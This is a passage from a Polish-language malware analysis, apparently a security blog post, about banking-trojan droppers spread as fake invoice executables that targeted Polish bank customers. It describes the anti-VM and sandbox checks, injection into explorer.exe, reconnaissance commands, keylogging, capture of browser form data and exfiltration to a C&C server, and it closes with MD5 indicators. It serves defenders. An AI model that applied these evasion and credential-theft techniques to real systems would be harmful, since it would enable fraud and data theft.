Interesujące jest to, że jeszcze na początku listopada w plikach konfiguracyjnych umieszczony był złośliwy javascript dla https://netbank.nordea.pl* GP a już pod koniec listopada pojawiły się skrypty dla https://www.ipkonet.p* GP. Intruzi szybko zareagowali  na migrację systemów bankowości, która miała miejsce na przełomie października/listopada.

 Dropper #2

Kolejnym przykładem pliku infekującego komputer jest malware załączany do wiadomości email jako faktura.pdf.exe. Po uruchomieniu w katalogu temp tworzony jest plik wykonywalny loader-a (api-deui.exe). Zarówno dropper jak i loader są aplikacjami .NET. Z tablicy odczytują kod niezarządzany (payload zawierający złośliwy kod) i wywołują funkcję Invoke(). Dokładny opis można znaleźć w poprzednim naszym artykule [1].
Tak jak dropper #1 jedno z pierwszych zadań dotyczy weryfikacji środowiska, w którym malware jest uruchamiany. Zawartość klucza rejestru porównywana jest z ciągami znaków (qemu, virtual, vmware, xen). Odczytywana jest zawartość następującego klucza rejestru: System\CurrentControlSet\Services\Disk\Enum (dla przykładu VMware może wskazywać na SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S). Następnie wywoływana jest funkcja GetModuleHandleA() i wynik porównywany z następującymi ciągami znaków (sbiedll oraz dbghelp). Malware na końcu sprawdza, czy nie jest zainstalowana aplikacja AutoItv3CCleanerWIC.

Gdy jedno z powyższych sprawdzeń jest prawdą wywoływana jest poniższa funkcja (nieskończony sleep()):

000642E0 PUSH 258
000642E5 CALL DWORD PTR DS:[664600] ;kernel32.Sleep
000642EB JMP SHORT 000642E0

Gdy nie ma nic podejrzanego loader do procesu explorer.exe wstrzykuje złośliwy kod. Za pomocą techniki modyfikującej wskaźnik w Import Address Table przechwytywana jest funkcja CreateProcessW():

W pierwszej kolejności zbierane są informacje na temat systemu:

systeminfo.exe
tasklist.exe /SVC
driverquery.exe
reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s


Następnie uruchamiany jest keylogger który: 
  • rejestruje informacje o uruchamianych procesach i wpisywane przez użytkownika dane
  • rejestruje parametry przesyłane przez przeglądarkę (GET i POST)


Zebrane dane przechowywane są tymczasowo w podkatalogu użytkownika AppData\Roaming\Microsoft\. 


Następnie pliki są kompresowane za pomocą makecab.exe i do czasu przesłania na serwer C&C zapisywane w katalogu temp zainfekowanego użytkownika. Poniżej fragment komunikacji z serwerem C&C:




Cechy wspólne Dropper #1 oraz Dropper #2:

  • W niektórych próbkach identyczne metody weryfikacji systemów wirtualnych,
  • Ten sam typ loader-a i te same metody uruchamiana payload,
  • Oba były zainstalowane na skompromitowanych stacjach roboczych,
  • Wszystkie zarządzane przez C&C z Rosji.

Wartości MD5 analizowanych próbek:
    • Information_76397.doc (MD5: 6A574342B3E4E44AE624F7606BD60EFA)
    • Tempdocm.exe (dropper) (MD5: 5CD40560A53FDA5B32C35ADFCDFCA3E1)
    • mslsxktt.exe (loader), mscjk.exe (loader) (MD5: 3BBF4DF2B83F4D6CA426F982203E7454)
    • spcommon.exe (MD5: B5BB7193977CBD3D592A07E114700634, MD5: C75F4A1E059A901F7A71E5E3D673163A)
    • faktura_90431_09_2014_TOPUP.pdf.exe (dropper), faks_list1_29.09.2014.pdf.exe (dropper) (MD5: 30E9BBA78B08BBE089FAB353F3B61D1E)
    • api-deui.exe (loader) (MD5: D61863B2EBBC3B7DEEC1BAC2B2CD4526)

      Źródła:

      [1] http://malware.prevenity.com/2014/11/banking-trojan-analiza-loader-net.html
      [2] http://www.prevenity.com/files/Faktura_Orange_Malware_2014.pdf
      [3] http://hasherezade.net/malware/dofoil/index.html
      [4] http://stopmalvertising.com/spam-scams/cve-2013-2729-and-andromeda-a-massive-hsbc-themed-email-campaign.html